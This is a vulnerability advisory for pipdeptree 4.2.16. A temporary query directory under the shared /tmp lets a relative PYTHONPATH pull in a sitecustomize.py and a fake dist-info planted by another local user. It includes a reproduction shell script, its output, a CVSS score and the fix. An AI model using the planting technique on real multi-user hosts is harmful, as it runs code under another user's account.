
Cloud Vulnerability DB
A community-led vulnerabilities database
When pipdeptree inspects an interpreter other than its own (--python, or an activated virtual or conda environment),
it runs that interpreter with a query script from a fresh temporary directory. On Linux and macOS that directory sits
below the shared /tmp, so a relative PYTHONPATH entry such as .. resolves to /tmp itself, and any local user can
put a sitecustomize.py or a fake .dist-info there. The planted module then runs as the user running pipdeptree,
and the fake distribution appears in its output. The temporary directory was introduced by the fix for
GHSA-42xh-2xjj-jxvf in 4.2.11.
Anthropic's OSS Scanner reported this as ANT-2026-J87U1ZWC on 2026-11-23.
The interpreter query on Unix, run for --python PATH and for an auto-detected environment (VIRTUAL_ENV,
CONDA_PREFIX) that is not the interpreter running pipdeptree.
Files in /tmp created by another local account: /tmp/sitecustomize.py and /tmp/<name>.dist-info/METADATA. The
attacker needs a local account on a host with a shared /tmp, and the victim needs a relative PYTHONPATH entry that
climbs one level, or a version-manager shim given to --python that reads its configuration from parent directories.
At 4.2.16 (70dcc3e):
InterpreterInfo::query starts the interpreter in tempfile::tempdir()
and passes the user's PYTHONPATH through unchanged.tempfile::tempdir() creates it as /tmp/.tmpXXXXXX.PYTHONPATH entries against its working directory. With PYTHONPATH=.., the query's
sys.path gains /tmp.sitecustomize from sys.path, which finds /tmp/sitecustomize.py, and the query lists
distributions from every sys.path entry, which finds /tmp/*.dist-info.
The same parent-directory problem reaches version-manager shims that look for a configuration file in each ancestor of
their working directory; the scanner showed that route with a stand-in shim, which was not repeated here. Out of scope:
Windows, where the temporary directory is per user; runs that inspect pipdeptree's own interpreter, which start no
query.j87.sh runs in a python:3.14 container (network off) with pipdeptree in /opt/venv. The nobody account writes
/tmp/sitecustomize.py (appends its uid to /tmp/ran) and /tmp/planted-6.6.6.dist-info. The alice account
creates a venv in its home and runs VIRTUAL_ENV=~/venv PYTHONPATH=.. pipdeptree from its home.
With pipdeptree 4.2.16:
--- control: venv python run directly from ~ with PYTHONPATH=..
['/home', '/home/alice/venv/lib/python3.14/site-packages']
cat: /tmp/ran: No such file or directory
--- control: TMPDIR private
(resolved python: /home/alice/venv/bin/python)
rc=0
cat: /tmp/ran: No such file or directory
--- trigger
(resolved python: /home/alice/venv/bin/python)
planted-by-mallory==6.6.6
rc=0
uid=1000The controls show the same environment and PYTHONPATH never reach /tmp on their own. With the fix the trigger
prints an empty tree and /tmp/ran does not exist.
sequenceDiagram
participant M as other local user
participant U as user
participant P as pipdeptree
participant Q as venv python (query)
M->>M: write /tmp/sitecustomize.py and /tmp/planted-6.6.6.dist-info
U->>P: VIRTUAL_ENV=~/venv PYTHONPATH=.. pipdeptree
activate P
rect rgb(255, 214, 214)
P->>+Q: run query, cwd = /tmp/.tmpXXXX
Q->>Q: PYTHONPATH=.. resolves to /tmp
Q->>Q: imports /tmp/sitecustomize.py as the user
Q-->>-P: sys.path includes /tmp, planted dist-info listed
end
P-->>U: planted-by-mallory==6.6.6
deactivate P
rect rgb(216, 243, 220)
P-->>P: fixed: query runs from / and gets only absolute PYTHONPATH entries
endj87.sh (run as root in a python:3.14 container with pipdeptree in /opt/venv)
#!/bin/sh
useradd -m alice
su nobody -s /bin/sh -c 'printf "%s\n" "import os; open(\"/tmp/ran\",\"a\").write(\"uid=%d\\n\" % os.getuid())" > /tmp/sitecustomize.py; mkdir /tmp/planted-6.6.6.dist-info; printf "Name: planted-by-mallory\nVersion: 6.6.6\n" > /tmp/planted-6.6.6.dist-info/METADATA'
ls -l /tmp
su alice -c 'cd ~ && python3 -m venv --without-pip venv'
echo "--- control: venv python run directly from ~ with PYTHONPATH=.."
su alice -c 'cd ~ && PYTHONPATH=.. venv/bin/python -c "import sys; print([p for p in sys.path if p.startswith(\"/home\") or p==\"/tmp\"])"; cat /tmp/ran 2>&1'
echo "--- control: TMPDIR private"
su alice -c 'mkdir -p ~/t; cd ~ && TMPDIR=$HOME/t VIRTUAL_ENV=$HOME/venv PYTHONPATH=.. /opt/venv/bin/pipdeptree; echo rc=$?; cat /tmp/ran 2>&1'
echo "--- trigger"
su alice -c 'cd ~ && VIRTUAL_ENV=$HOME/venv PYTHONPATH=.. /opt/venv/bin/pipdeptree; echo rc=$?; cat /tmp/ran 2>&1'Another local user can run code as anyone who runs pipdeptree against a separate interpreter with a relative
PYTHONPATH entry, and can add fake packages to the reported tree. Reproduction is easy once the precondition holds.
Exposure is unlikely: it needs a multi-user host with a shared /tmp and a relative PYTHONPATH entry (or a shim that
walks up for its configuration).
Severity: 6.7 (Medium), CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H. AV:L, PR:L: a local account plants the
files. AC:H: it depends on the victim's PYTHONPATH or shim. UI:R: the victim runs pipdeptree. C:H, I:H,
A:H: code runs as the victim. S:U.
pipdeptree 4.2.16 (identical Rust sources to main at
97fb19a), CPython 3.14, Debian
container on Linux. The temporary directory was added in 4.2.11 by
#787; before that the query ran in the user's working directory,
which GHSA-42xh-2xjj-jxvf covers.
The fix starts the query in / on Unix, which has no parent, and passes only absolute PYTHONPATH entries, since a
relative one would now resolve against /. Windows keeps the per-user temporary directory.
Fix: https://github.com/tox-dev/pipdeptree/pull/922.
Use only absolute entries in PYTHONPATH, or set TMPDIR to a directory only you can write to, when running
pipdeptree against another interpreter.
Anthropic's OSS Scanner, ANT-2026-J87U1ZWC.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."